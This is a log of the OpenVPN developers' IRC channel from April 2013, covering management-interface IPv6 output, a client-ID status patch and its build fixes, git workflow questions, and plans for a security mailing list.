code.google.com) 07:15 <@cron2> yay, apps the world has been waiting for 07:16 < MacGyver> Why rooted, btw? 07:17 < MacGyver> I thought openvpn didn't need root on android? 07:17 < syzzer> pre-4 Android version did not have the VPN API 07:18 < syzzer> thus root was required to bring up the tun device 07:25 <@mattock> here's a page tracking the status of IPv6 support in the management interface: https://community.openvpn.net/openvpn/wiki/IPv6SupportInManagementInterface 07:25 <@vpnHelper> Title: IPv6SupportInManagementInterface – OpenVPN Community (at community.openvpn.net) 07:25 <@mattock> no tickets yet, though 07:29 <@ecrist> mattock: I'll write a PR and send it off 07:29 <@mattock> ecrist: if nobody here complains about it in, say, one hours, please do :) 07:30 <@ecrist> ok 07:30 * ecrist holds off 07:31 <@mattock> ecrist: we'll discuss these security announcement in next weeks meeting... to do a cleaner job next time 07:31 <@mattock> or better job 07:31 <@ecrist> good idea 07:38 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 3 voices, 9 normal] 07:42 <@mattock> I'll ask "the company" if we could have a closed security mailinglist... that'd make managing security issues easier in the future 07:42 <@mattock> we have the tools to do that already 07:43 <@ecrist> ++ 07:59 <@mattock> mail sent 08:07 <@vpnHelper> RSS Update - tickets: #278: OpenVPN client fail to connect to server because of invalid temp path <https://community.openvpn.net/openvpn/ticket/278> 08:29 <@plaisthos> !meetings 08:29 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:29 <@plaisthos> that should be 20 CEST, right? 08:31 <@plaisthos> you will have to the meeting without me I am already booked that evening 08:31 <@cron2> next week? 08:58 <@cron2> anyone here that understands the management interface...? 09:05 <@dazo> cron2: which part of it? 09:07 <@cron2> under which conditions will the management interface send >CLIENT:ADDRESS,... messages? 09:08 <@cron2> or phrased differently: will I ever see them if the client is not authenticating by username+password? 09:08 <@cron2> this is one of the weirder corners of openvpn... 09:10 <@cron2> urgh 09:10 <@cron2> --management-auth-client *plus* --auth-user-pass-optional 09:12 * dazo ponders 09:13 <@cron2> yeah, these two (--management-client-auth) 09:13 <@cron2> this is all weird 09:13 <@dazo> if --auth-user-pass is used together with --management-query-password, it will always ask for username/password on the client side .... the 09:14 <@cron2> my client is not sending a username, but the management interface will only be sent certain informations *if* the client sends a username, *or* --auth-user-pass-optional... 09:15 <@dazo> okay, and the >CLIENT:ADDRESS,... responses is on the server side? 09:16 <@ecrist> fwiw, the request to strike openvpn from freebsd's port-audit has been sent 09:16 <@ecrist> I'll let you know what they say 09:16 <@dazo> ecrist: thx! 09:17 <@cron2> dazo: yes, this is "hey, management, look what addresses I gave to the client!" 09:17 <@dazo> cron2: okay ... then that will be after all the authentication has passed successfully 09:17 <@cron2> I'm working with James and Mattock to ensure that nothing is missing in OpenVPN 2.3 to bring IPv6 support to AS 09:17 <@cron2> dazo: yes 09:18 <@cron2> the management interface code in combination with the mroute code is amazing - nothing of that stuff had explicit IPv6 support, but it's all generic enough to "just do the right thing" as soon as mroute learned about IPv6 09:18 <@dazo> cron2: so if the client has not sent user/pass, and server have --auth-user-pass-optional ... you will also see those messages, because the authentication have "passed successfully" implicitly 09:20 <@dazo> cron2: also sounds like your integration of the IPv6 code was done properly too then ... as it works so easily ;-) 09:20 <@cron2> the 2.3 core will still ask the management interface for "approve this one?", and you have to send an "client-auth..." back 09:20 <@cron2> but if you do not query the management interface for approval, you won't get these status messages either 09:21 <@dazo> ahh, yeah with the --management-client-auth, that is the proper behaviour (as that's still in the auth phase) 09:21 <@cron2> heh 09:22 <@cron2> I can see why james added code to not send multiple PUSH_REPLY messages... the clients get impatiently quite fast if the server is slow in authenticating them (like "cron2 having mistyped the command")... 09:22 <@cron2> Wed Apr 10 16:22:02 2013 us=167496 2001:608:4:0:c1d7:de3:555d:a36b PUSH: Received control message: 'PUSH_REQUEST' 09:22 <@cron2> Wed Apr 10 16:22:05 2013 us=197805 2001:608:4:0:c1d7:de3:555d:a36b PUSH: Received control message: 'PUSH_REQUEST' 09:22 <@cron2> Wed Apr 10 16:22:08 2013 us=237527 2001:608:4:0:c1d7:de3:555d:a36b PUSH: Received control message: 'PUSH_REQUEST' 09:22 <@dazo> heh 09:31 <@cron2> anyway. fetch child from kindergarten... bbl 09:39 <@ecrist> I got a reply from freebsd security team - they're reviewing our post, etc, and will get back to me 09:42 <@ecrist> mattock ^^^ 10:04 <@cron2> what's the magic git command for "throw away anything in this directory that is not known to git"? 10:04 <@cron2> (like "configure", .o files, ...) 10:05 <@dazo> cron2: parse git status and pipe to xargs rm -f ? 10:05 <@mattock> ecrist: ok 10:05 <@cron2> dazo: no magic "git reset --wipe-and-clean"? 10:06 <@dazo> cron2: no, not really .... there is git ls-files ... but not sure if that can list what you're expecting 10:06 <@dazo> git ls-files [-z] [-t] [-v] (--[cached|deleted|others|ignored|stage|unmerged|killed|modified])* 10:06 <@mattock> cron2: the management interface is entirely from James... maybe that's why it's so weird :) 10:08 <@ecrist> cron2: rm -rf && git clone ... 10:08 <@ecrist> :) 10:08 <@dazo> cron2: 'git clean' might be what you want 10:08 <@dazo> heh 10:09 <@dazo> ecrist: luckily for you, you probably aren't interested in the linux kernel source code .... as that would require 7-800MB of downloading :) 10:09 <@cron2> ecrist: yeah, I thought about that, but decided "there must be a more gittish way" (you could have un-pushed changes) 10:09 <@cron2> git clean is what I want, thanks 10:10 <@dazo> git-clean is new to me too ... as I've had that "challenge" at some point where I had to do it manually :) 10:10 <@dazo> (but that was ages ago) 10:17 <@cron2> git-pull is... interesting 10:18 * dazo is scared of git-pull .... 10:18 * cron2 too, but I decided "if all fails, I'll just ditch this repo, but I want to see what happens now" 10:18 <@dazo> :) 10:19 <@dazo> git-pull --rebase is probably the most sane usage in our cases ... but I still prefer git-fetch, to be in full control :) 10:19 <@cron2> yeah. The weird thing I had was that "git pull origin master" actually did not update the local copies of origin/master and master, just the branch I was sitting on - thus "git diff master" gave me lots of diffs later on 10:20 <@dazo> ahh, yeah ... as in that case, git pull did a merge ... which creates a very different perspective afterwards 10:21 <@dazo> if you use git log --graph, you see the merges 10:28 -!- mattock is now known as mattock_afk 11:05 -!- raidz_away is now known as raidz 11:13 -!- raidz is now known as raidz_away 11:30 -!- raidz_away is now known as raidz 12:54 -!- dazo is now known as dazo_afk 13:31 * cron2 looks around for plaisthos 14:00 <@cron2> (or someone else who understands multi.c) 14:21 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 14:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 15:41 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:41 -!- dazo_afk is now known as dazo 17:32 <@plaisthos> cron2: I don't understand multi.c 17:33 <@plaisthos> I might have slightly less confusion 19:46 -!- raidz is now known as raidz_away --- Day changed Thu Apr 11 2013 02:06 <@cron2> plaisthos: I'm wondering about mi->reporting_addr, and why it exists, instead of accessing mi->context.c2.push_ifconfig_local right away... 02:59 * cron2 is confused about git again 02:59 <@cron2> dazo: do you have a few minutes to un-confuse me? 03:47 <@plaisthos> cron2: no idea 03:47 <@plaisthos> look redudant 03:48 <@plaisthos> cron2: when you apply the Management interface patch can you also apply mine? (Adding client id to status output) 03:49 <@plaisthos> Message-Id: <1346422753-19520-1-git-send-email-arne@rfc2549.org> 03:52 <@cron2> plaisthos: I also asked James, and he wrote something quite interesting 03:53 <@cron2> > This might be because mi->context.c2 gets wiped during restarts that 03:53 <@cron2> > cause a partial wipe of context. 03:53 <@cron2> > So saving it in mi->reporting_addr may be a way of persisting across 03:53 <@cron2> > context.c2 resets. 03:55 <@plaisthos> yeah that's true 03:56 <@cron2> so there might be a time window where the mgmt interface might not display the virtual address, because that's just been zeroed out... 03:56 <@cron2> (OTOH one could argue that "if it has been zeroed out, it does not *have* a valid virtual address right now" :-) ) 03:56 <@cron2> anyway. I've done the v6 printing the same way James did v4, so it might not be as compact as it could be, but "save enough" :-) 03:57 <@cron2> regarding your patch: good catch, it's still sitting in my mailbox. Way up there... and indeed, quite useful, as when playing with the mgmt if, I was always looking for "now what was that client's ID?" 03:58 <@cron2> bbl... fetch family from "Krabbelgruppe"... 04:28 <@cron2> plaisthos: I think your patch is fine, even if it breaks mine. I'll apply it to "master", and leave it to the list to decide whether people want it in "release/2.3" as well - OK? 04:29 <@plaisthos> cron2: yes that is fine with me 04:30 <@plaisthos> cron2: should I ack your patch or do you want send a 2nd that applies cleanly over my patch? 04:30 <@cron2> plaisthos: I'll re-send 04:31 <@plaisthos> More languages! Someone did a swedish translation of my client 04:43 <@cron2> amazing :) 04:43 <@vpnHelper> RSS Update - testtrac: Add the client id (CID) to the output of the status command <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=662ce6acc065bddf6490b3494725b8b3987b7def> 04:43 <@plaisthos> After three and a half year later and a lot of lazyness from me side my first OpenVPN patch got applied \o/ 04:44 <@cron2> 3.5 years? :-o 04:44 <@cron2> I think I've only seen it in 2012... still took too long... 04:47 <@plaisthos> cron2: first version was in Aug 2009, Subject: OpenVPN Pf plugin/small status patch, Message-ID: <54cde1cd4bdc1e82da3cb67831cc45c0@mail.blinkt.de> 04:50 <@cron2> my mail archive has a *reply* from dazo on this, but not the original mail... need to search gmane 04:51 <@cron2> curious what this has to do with Pf :-) 04:52 <@cron2> ah, found the mail. Fun indeed :-) - did the enablepf.patch ever go in? 04:54 <@cron2> hehe, and that thread even had a helpful comment from "Karl O. Pinc" (who thankfully moved to other pastures) 05:01 <@cron2> plaisthos: your patch causes warnings! 05:01 <@cron2> multi.c:830:18: warning: format '%u' expects type 'unsigned int', but argument 22 has type 'long unsigned int' 05:04 <@cron2> %lu, I'll fix it when commiting mine 05:12 <@cron2> CLIENT_LIST,cron2-ithing,2001:608:4:0:b586:fc25:ee4e:d4a2,194.97.145.77,,2713,4041,Thu Apr 11 12:13:26 2013,1365675206,UNDEF,2 05:13 <@cron2> here we go :) 05:14 <@cron2> well, *that* one actually is missing the "Virtal IPv6 Address", so only ",," there :-) - but the client ID is there as well 05:21 <@cron2> wtf 05:21 <@cron2> I see buildbot failures that are... hard to understand 05:22 <@cron2> oh 05:22 <@cron2> plaisthos!!! 05:22 <@cron2> your patch explodes if --disable-management is given... 05:22 <@cron2> multi.c: In function 'multi_print_status': 05:22 <@cron2> multi.c:829: error: 'const struct context_2' has no member named 'mda_context' 05:24 <@cron2> (the same function is used for printing to the status file and syslog, though not necessarily "version 2") 05:56 <@plaisthos> cron2: wah?! let me look 05:57 <@plaisthos> cron2: %lu will then probably break on 32 bit 05:57 <@cron2> yeah, "wah?" reflects my thoughts quite well :-) full of pitfalls, multi.c is 05:58 <@plaisthos> cron2: the enable.pf never got in iirc 06:07 <@plaisthos> cron2: I will put the %u -> %lu in there too 06:08 <@cron2> plaisthos: ok, then I'll do a v4 of mine... 06:09 <@plaisthos> I should really send patches that fix all the warnings of openvpn with clang build that warning seem to got los 06:09 <@plaisthos> cron2: well I can also ack yours first and then build a v2 of my patch 06:10 <@cron2> let's do it the other way round, I think that will be less messy in the attributions "who changed and fixed what" 06:10 <@cron2> (what you proposed: fix %lu in your patch, and I do v4) 06:33 * cron2 is not sure that printing "" for a %lu format is such a good plan 06:34 <@plaisthos> cron2: yeah that was stupid 06:35 <@plaisthos> I concurr 06:35 <@plaisthos> does printing NULL work? 06:35 <@cron2> well, it's just "0" when printed with %lu :) 06:36 <@cron2> /usr/include/sys/null.h:#define NULL 0 06:37 <@plaisthos> hm 06:37 <@plaisthos> so I need to ifdef the printf string too :( 06:39 < syzzer> moar ifdefs \o/ ... 06:39 < syzzer> or split it up? 06:41 <@cron2> or document that it will always be "0" then 06:41 <@cron2> (I'd print "-1", but that would not work with "%lu" either) 06:42 <@plaisthos> yeah -1 sounds fine too 06:43 <@plaisthos> but I think empty as not defined fits better when I have to do the ifdef maze anyway 06:47 <@plaisthos> version 2 of the patch for the patch sent 06:47 <@plaisthos> and also a patch removing unused variables 06:49 <@cron2> "empty" sounds like "3 #ifdef" instead of just one... 06:51 <@plaisthos> and appearently OpenSSL is deprecated under OS X 06:52 <@cron2> in favour of...? 06:52 <@plaisthos> Common Crypto 06:52 <@cron2> oh 06:53 <@plaisthos> http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man3/CC_crypto.3cc.html 06:53 <@vpnHelper> Title: Loading (at developer.apple.com) 06:54 <@dazo> cron2: I see you pulled in that management CID patch ... I'm fine with the idea, but I know James had concerns about it ... as it changes the record layout .... however, I think I remember James also adding a similar patch going into AS 06:56 <@cron2> dazo: James asked for a patch changing that very output format ("Virtual IPv6 Address"), so *now* is a good time to merge both 06:56 <@dazo> cron2: ahh! perfect! 06:56 * dazo like 06:56 <@plaisthos> dazo: I referenced the commit from james in my patch :) 06:56 <@cron2> and the table is "keyed" with the field names in the header, so if a consumer of that output gets confused, they need to code more carefully :-) 06:57 * dazo haven't looked at commit log or mail archives yet ... just pulling up memory blobs found in his brain :) 06:57 <@dazo> cron2++ 06:57 <@cron2> plaisthos: nah, that is ugly. If you want to fiddle with the format string, you could just omit the #else bit in both #ifdefs 06:58 <@cron2> but that's ugly as well 06:58 <@cron2> one could #ifdef MANAGEMENT_DEF_AUTH the whole block of code... 06:59 <@cron2> (need to check whether anyone could ever call this for "version 2" or "version 3" if management is not used) 07:00 <@plaisthos> cron2: --status-version 3 07:01 <@plaisthos> so yes 07:02 <@cron2> damn 07:06 <@plaisthos> I asked myself the same question :) 07:08 * cron2 asks dazo "please look at these last patches and suggest the least-ugly variant" 07:08 * dazo heads for the mailing list 07:10 <@dazo> I'm leaning towards the first fix-up ... not the v2 07:10 <@plaisthos> dazo: the v1 is broken unfortunatly :/ 07:10 <@dazo> yeah, that's what I see 07:10 <@plaisthos> since I am using "" with %lu 07:10 <@dazo> too 07:11 * dazo ponders on a suggestion ... just a minute 07:14 <@dazo> plaisthos: What about this approach? http://fpaste.org/2Eqa/ 07:15 <@dazo> would be neat to do some macro trickery with all the variables too, though 07:16 <@plaisthos> dazo: that looks very similar to v2 of patch 07:16 <@cron2> dazo: better, but I'm worried what will happen if we ever come back here and add another conditional 07:16 <@cron2> plaisthos: the output does, but he's not doing "%s" just to print ""... 07:16 <@dazo> cron2: agreed .... I'm not happy about it either 07:17 <@plaisthos> cron2: yeah you could remove the %s and "" from patch v2 07:17 <@plaisthos> what does MANAGMENT_DEF_AUTH do anyway? 07:17 <@cron2> ok, I leave you to discuss this for a moment, have to move family to Kinderkrippe... thursdays are complicated here :) 07:17 <@dazo> plus avoiding the #ifdef stuff inside the status_printf() for the format string 07:17 * dazo pokes at some logging code in the kernel ... they tend to use some clever solutions there 07:17 <@cron2> plaisthos: lots of things. It's interwoven through half the code 07:17 <@cron2> ok, bbl in ~30 minutes 07:19 <@plaisthos> cron2: :) 07:19 <@plaisthos> I have no preference for a solution. They are all with #ifdefs :( 07:22 <@mattock> fyi: I'll be setting up the security mailinglist this week/next week 07:28 <@dazo> there are more things I dislike about status_printf() ... but whichever solution I think of means re-writing that feature completely - with the result of less flexibility. So I'm not sure I want to suggest that at all even 07:28 <@dazo> This hits the nerve of a generic API which provides structured presentation of random input 07:29 <@dazo> and this 'sep, sep, sep, sep, sep.....' lists just makes me cringe 07:30 <@dazo> hmmm .... 07:30 <@plaisthos> can sep be changed anyway? 07:30 <@plaisthos> oh yes 07:31 <@plaisthos> ver 3 uses : instead of , 07:31 <@dazo> yeah 07:31 <@plaisthos> and breaks ipv6 :0 07:31 <@dazo> yupp :) 07:31 <@plaisthos> the multi_print probably needs sep escaping 07:55 <@cron2> ver 3 is tab 07:56 <@mattock> management interface docs on openvpn.net updated 07:56 <@cron2> mattock: thanks 07:57 <@mattock> np 08:00 <@dazo> cron2: plaisthos: Okay, this is purely a brain storm dump from my side .... and it's not something I'm proud of ... but it tries to clean up the formatting a bit .... http://fpaste.org/QHzp/ (only compile tested) 08:00 <@dazo> ideally ... you set the separator in status_open() too 08:01 <@cron2> that won't work as is, as it is missing a field #ifndef MANAGEMENT_DEF_AUTH 08:01 <@cron2> (unless you also #ifdef the table heading) 08:01 <@dazo> true! 08:02 <@dazo> I didn't consider the heading right now 08:02 <@dazo> I just threw out this idea ... to see if it was completely stupid ... or if it has some merits which can be improved further 08:03 * cron2 is not convinced it improves readability that much - it just makes it a bit harder to understand what is happening behind the scenes 08:03 <@cron2> it *looks* nicer :) 08:03 <@dazo> I myself is not convinced this is better 08:04 <@cron2> I think I'd go for a "v3" from plaisthos without the "%s"..."" bits - not too pretty, but to get this done, and mark the whole area as "ugly, needs work" 08:04 <@dazo> but ... if we provide a more extended API around this ... it might be better .... for example that you have "status_table_start(so, sep, <array of chars with column headers>)" 08:05 <@plaisthos> cron2: do you want to modify the patch or should I send a v3? 08:05 <@dazo> and then status_table_addfield() which is basically status_printf_onefield() without the 'sep' field 08:06 <@cron2> plaisthos: you, please, so I can ack+commit 08:06 <@dazo> and status_table_print(so) ... which does the real print ... and it can do assert() if column counts doesn't match with number of calls to status_table_addfield() 08:06 <@cron2> dazo: add a plugin_v4 hook 08:07 <@cron2> to phrase it differently :-) - I think you're overengineering a bit right now 08:07 <@dazo> That's what I'm feeling myself too ;-) 08:08 <@cron2> if we *need* that flexibility, I'm all for it ("--status-output-fields bytes,cid,virtual,cn" anyone?) but right now I'm not convinced this is going to change that more often in the next years 08:09 <@plaisthos> #else 08:09 <@plaisthos> "" 08:09 <@cron2> noo 08:10 <@plaisthos> or comma on next line? 08:10 <@dazo> tbh ... I think this kind of static csv styled reporting is rather 90ish ... JSON or XML would be more this century 08:10 * cron2 has the sudden wish to never have asked dazo about this 08:10 <@dazo> hahahaha 08:10 <@plaisthos> gna 08:11 <@cron2> plaisthos: #else 08:11 <@cron2> sep ); 08:11 <@plaisthos> even emacs with code style set to gnu is confused about tabs vs spaces 08:11 <@cron2> ah 08:11 <@cron2> in the first block 08:11 <@cron2> yeah, this is ugly as well... 08:14 <@plaisthos> I cannot device which variant I like most 08:15 <@plaisthos> the "%lu", #else "", looks least confusing 08:15 <@cron2> +1 08:15 <@cron2> "comma on a separate line" is very ugly 08:19 <@plaisthos> I am editing in emacs with whitespace-mode to get this *#$&#*$& whitespace stuff right ... 08:20 <@plaisthos> I am wondering what editor james uses 08:21 <@cron2> is there an editor besides vi? 08:21 <@cron2> I understand emacs is an operating system with a fairly bad editor built in 08:21 <@ecrist> cron2: yeah, vim 08:21 <@ecrist> ;) 08:21 <@cron2> but that can be improved by M-x vi-mode 08:22 <@cron2> ecrist: the editor that still provides over 600 individual patch files, instead of rolling them up to a "this is the latest version" bundle? Look into your distfiles/ directory for a scare :-) 08:22 <@plaisthos> emacs with coding style gnu, tab-width 8 and indent-with tabs seem to produce the same indenting as already in the file 08:22 <@ecrist> oh, I'm aware, cron2 08:22 <@cron2> \o/ 08:22 <@plaisthos> cron2: I though viper was better than vi-mode ;) 08:22 <@cron2> oh, forgot about that one, yes, someone told me that before 08:23 <@plaisthos> there seem to be even more vi emulations 08:23 * plaisthos scratches his head 08:24 <@cron2> I'm sure there is a vi emulation for vim 08:24 <@plaisthos> yes 08:24 <@plaisthos> it still does not destroy your file when using cursor keys. It is a flawed emulation 08:25 <@cron2> incomplete and flawed 08:25 <@cron2> cursor keyes are a temptation from hell, as are mice 08:27 <@mattock> when is 2.3.2 due? 08:27 <@mattock> I want to prepare mentally :D 08:28 <@cron2> no idea. todays commits went to master only 08:28 <@mattock> ok, so there's nothing urgent in the pipe for 2.3.2? 08:29 <@cron2> well, there's the tls-translation fix... I forgot about that 08:37 <@plaisthos> For people with broken/invalid configurations 08:40 <@plaisthos> patch is on the ml 08:41 <@cron2> can't wait to see it :) 08:42 <@cron2> ah, there it is. thanks. will handle right away 08:44 <@plaisthos> such a simple patch with 7 iterations for part 1 and part 2 of the patch combined 08:51 <@cron2> and nearly a year to process :) - and then yet another iteration for my patch to go on top of that 09:02 <@vpnHelper> RSS Update - testtrac: Print client id only if compiled with man agent support. Otherwise <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=01cfa61a41e5162ba2f61383e03ff66741511d3a> 09:04 <@cron2> bah 09:04 <@cron2> CONFLICT (content): Merge conflict in src/openvpn/multi.c 09:05 <@cron2> dazo: you're still awake? 09:05 * dazo checks his pulse 09:05 <@dazo> cron2: seems so :) 09:05 <@cron2> I'm trying to understand git :-) 09:05 <@dazo> shoot! 09:05 <@cron2> you have two git repos that are identical, let's say, both cloned from openvpn.git 09:06 <@cron2> you change something in repo A, commit it (commitish 12345), "git format-patch -1" it 09:06 <@cron2> take the patch to repo B, "git am" it 09:06 <@cron2> code is fully identical 09:06 <@cron2> "git log" is fully identical 09:06 <@cron2> yet the *commit* ID in B is different 09:06 <@cron2> (you do "git reset --hard HEAD~1" in B, do another git am, and get yet another commit id) 09:07 <@cron2> so "something else is factored in" 09:07 <@dazo> the timestamp is part of the commitish 09:07 <@dazo> iirc 09:07 <@cron2> how can you see that? 09:08 <@dazo> git log --pretty=fuller ... and you see the commit_date is different ;-) 09:08 <@dazo> ahh, it's called 'CommitDate:' 09:08 <@cron2> ah, *that was it, I tried "git log --verbose" but that was non-helpful 09:09 <@dazo> normally, committer and commit date isn't that interesting :) 09:09 <@cron2> so what's the way to truly keep repos in sync? fetch/pull/push, instead of format-patch/am? 09:09 <@dazo> how are these two repos related? 09:10 <@dazo> are they two different upstream repos, which tries to stay in sync ... or are they supposed to be true clones always in sync? 09:10 <@cron2> all mine, working on different OSes / OpenVPN installations to test stuff 09:10 <@cron2> all clones of openvpn.git, but on different machines, some work being done on A, some work being done on B (like "one Linux, one FreeBSD" or such) 09:11 <@dazo> ahh, I see 09:11 <@cron2> if I do "git log" and see the same commitish, I'm *sure* I got the right version of the tree :-) 09:11 <@dazo> I would then recommend to use git format-patch + do git am on the "master" repository and then git push ... the other repos will then need to do git fetch + git rebase 09:12 <@dazo> that's the safest one 09:12 <@cron2> (especially in this case, I did "git commit --amend" on A a few times, and "reset --hard -1 + git am" on B 09:12 <@cron2> there is not exactly a single "master". The master is the sf.net repo :) 09:12 <@cron2> it's more "peer to peer" repos 09:13 <@dazo> well, then you can always add more remotes on the other hosts ... and do 'git fetch' and 'git rebase' 09:14 <@cron2> in that case it's "git merge" :-) - as the branch in question is based on the sf.net master, not on the peer repo... 09:14 <@dazo> so if you have your clone in ~/openvpn-dev .... you would do: git remote add boxA cron2@boxa:/home/cron2/openvpn-dev/.git 09:14 <@cron2> anyway, the "CommitDate:" was the clue I needed, and now I'll go and fetch/pull/push/kill all my repos back and forth! 09:15 <@cron2> yep, got it, thanks. Just need to experiment more with that. 09:15 <@ecrist> git really seems like a pain in the ass compared to SVN 09:15 <@cron2> ecrist: to the contrary. git is so powerful that it is confusing to select a workflow that is "best". 09:15 <@dazo> ecrist: I'll bite ... it looks like a pain because the flexibility and remote features are way more advanced than SVN will ever manage ;-) 09:15 <@cron2> svn forces you to use a single workflow, git will do whatever you want 09:15 <@cron2> and figuring out "what you want" is always pain :) 09:15 <@dazo> cron2 said it nicer :) 09:16 <@ecrist> I didn't say git was flawed, or bad, just a pain in the ass 09:16 <@cron2> but indeed, git has way more options to shoot yourself in the feet, hack off your fingers, and then go shave your cat :-) 09:16 <@dazo> SVN is a hammer ... git is a toolbox full of tools ;-) 09:16 <@ecrist> for example, part of what I love about my mac is apple controls the hardware AND software - some flexibility is lost in favor a reliability 09:16 <@cron2> so, need to go and fetch family from day care... 09:16 * ecrist just dropped his off 09:17 -!- Netsplit *.net <-> *.split quits: MeanderingCode 09:17 <@cron2> dazo: if you could spend a few more brain cycles with mattock on the idea of a staging repo...? and then tell me how I use it? ;-) 09:18 <@dazo> cron2: sure ... basically, you need another place where you do push stuff .... and the buildbots need to use that as a source instead of the current remotes ... but I don't see the real benefit, tbh .... we're not 100% super perfect all the time :) 09:18 <@dazo> (even though, some of us try to be sometimes ;-)) 09:19 -!- Netsplit over, joins: MeanderingCode 09:19 <@dazo> cron2: I think rather using 'git revert' makes more sense in most of the cases 09:26 <@mattock> we'd of course like to have the Git repo in perfect order all the time, but we'd also want to avoid extra work 10:02 <@cron2> huh, my buildbots had issues getting to the sf.net repo 10:19 -!- raidz_away is now known as raidz 10:21 -!- mattock is now known as mattock_afk 10:52 -!- mattock_afk is now known as mattock 12:56 <@cron2> plaisthos: in general I'm fine with your warning cleanup patch, but this particular bit 12:56 <@cron2> + { 12:56 <@cron2> + const int dev = dev_type_enum (options->dev, options->dev_type); 12:56 <@cron2> + if ((dev == DEV_TYPE_TUN || dev == DEV_TYPE_TAP) && 12:56 <@cron2> is ugly 12:56 <@cron2> especially as the whole code is... weird. This is basically executed always, except if running in test mode (DEV_TYPE_NULL) or "I can't figure out what this is" (DEV_TYPE_UNKNOWN)... 12:57 <@cron2> I'd rather drop the whole "dev" business... 13:19 <@cron2> dazo: jftr, that "git remote ..." thing was exactly what I needed - develop on machine A, B, C, merge in "local master" with "git fetch $A"(...) and then "git merge $A/$remotebranch" - and now I get the same commit-ids 13:21 <@dazo> cron2: you should actually get the same git commitish with 'rebase' as well .... but all commits added after the remote patches have been inserted will get new committish values (because the commit tree changes) 13:21 <@cron2> why? if I start from the same commit-id, it's based on the very same thing 13:22 <@cron2> (and "rebase" is the wrong thing here, it's "merge" - rebase would turn around the commit order) 13:22 <@cron2> upstream->downstream "rebase" 13:22 <@cron2> downstream->upstream "merge" 13:23 <@dazo> right ... but "upstream" is then a master repo 13:23 <@cron2> yep, that's what it is, if I fetch it all towards a central master - if I push it out from there to other "distibuted repos", I'll have to rebase *there* 13:24 <@cron2> (which, in my work scenario, is not normally happening anyway) 13:24 <@dazo> but I understood you want all your repos to be "equal" ... and git merge uses merge commits ... which then adds some subtleties to your git history 13:25 <@dazo> (if you do git log --graph ... you see the branches and merges, all ending up in a lot of different merge commits) 13:25 <@cron2> not for fast-forward merges 13:26 <@cron2> which I have as the commits "just before what I want to merge" is identical 13:26 <@cron2> git log --graph is just straight :) 13:26 <@dazo> hmmm! 13:27 <@dazo> that's unexpected ... based on my experiences ... but I trust what you see :) 13:27 <@cron2> yeah, but I hear what you're saying - if I have done something on A, pull that into Z, then do something on B (which does not have A's changes) and pull that to Z, things will be different 13:28 <@cron2> need to do more testing with that... :) 13:28 <@dazo> yeah :) 13:29 <@dazo> http://git-scm.com/book/en/Git-Branching-Basic-Branching-and-Merging ... and http://git-scm.com/book/en/Git-Branching-Rebasing 13:29 <@vpnHelper> Title: Git - Basic Branching and Merging (at git-scm.com) 13:29 <@dazo> actually a fast-forward is a rebase in practice ... but git-merge is clever and tries to find out what's the best approach 13:30 <@dazo> (based on the branch point and the common ancestor) 13:30 <@cron2> mmmh, so it's (in my case) a rebase of an empty tip of the tree... 13:30 <@cron2> smart tool :) 13:30 <@dazo> sometimes I wonder if it is too smart :) 13:30 <@cron2> it's definitely too smart for me 13:37 <@dazo> Now this sounds like a sane "thumb rule": When doing a git merge, if only one of the two branches in the merge has changed, a fast-forward merge will occur ... from http://nathaniel.themccallums.org/2010/10/18/using-git-fast-forward-merging-to-keep-branches-in-sync/ 13:37 <@vpnHelper> Title: Using git fast-forward merging to keep branches in sync | Nathaniel McCallum (at nathaniel.themccallums.org) 13:38 <@cron2> this is all magic 13:38 * cron2 has now pushed branch y from repo Z to repo B, while updating branch x in B from "origin", and the commitish's are still the same :-) 13:38 <@dazo> :) 13:38 <@cron2> (rebasing x) 13:39 * cron2 spends way too much time playing with git today, instead of actually starting to work on the *code* 13:39 <@dazo> heh 14:01 <@cron2> mattock: thanks for the pointer to svnrev2git.py - even if it's using an ugly language, it seems to be the right tool here 14:02 <@dazo> cron2: you deserve it ... http://pyvideo.org/video/1669/keynote-3 14:02 <@vpnHelper> Title: pyvideo.org - Keynote - What Makes Python Awesome (at pyvideo.org) 14:02 <@dazo> :-P 14:03 <@cron2> dazo: careful! otherwise we'll make you volunteer to work on the python-based windows build system...! 14:03 <@dazo> hehehehe .... I think I would make enough mess there to be kicked out from that rather soonish :-P 14:10 <@cron2> yummy... this is going to be fun... porting snappy compression from svn 2.1 to master... it affects USE_ flags and configure.ac 14:18 <+krzee> awesome, sounds like another step towards 3.0 :D 14:19 <@cron2> the point of this excercise is to make James use 2.3 for AS, and start working with the git version :-) 14:19 * krzee gives cron all the luck he has to give 14:19 <@cron2> heh, thanks 14:19 <+krzee> ;] 15:23 -!- dazo is now known as dazo_afk 16:08 -!- syzzer [~steffan@50709D8D.static.ziggozakelijk.nl] has quit [Ping timeout: 246 seconds] 16:43 <@plaisthos> cron2: I only did more mechanical changes and added { } around the code to make the variable variable valid in C89 16:46 <@plaisthos> to avoid an #ifdef around the variable 17:11 -!- syzzer [~steffan@50709C18.static.ziggozakelijk.nl] has joined #openvpn-devel 17:43 -!- kisom [~kisom@130.237.41.249] has quit [Quit: Lost terminal] 17:44 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 17:46 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Client Quit] 18:22 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 18:35 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:50 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:42 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 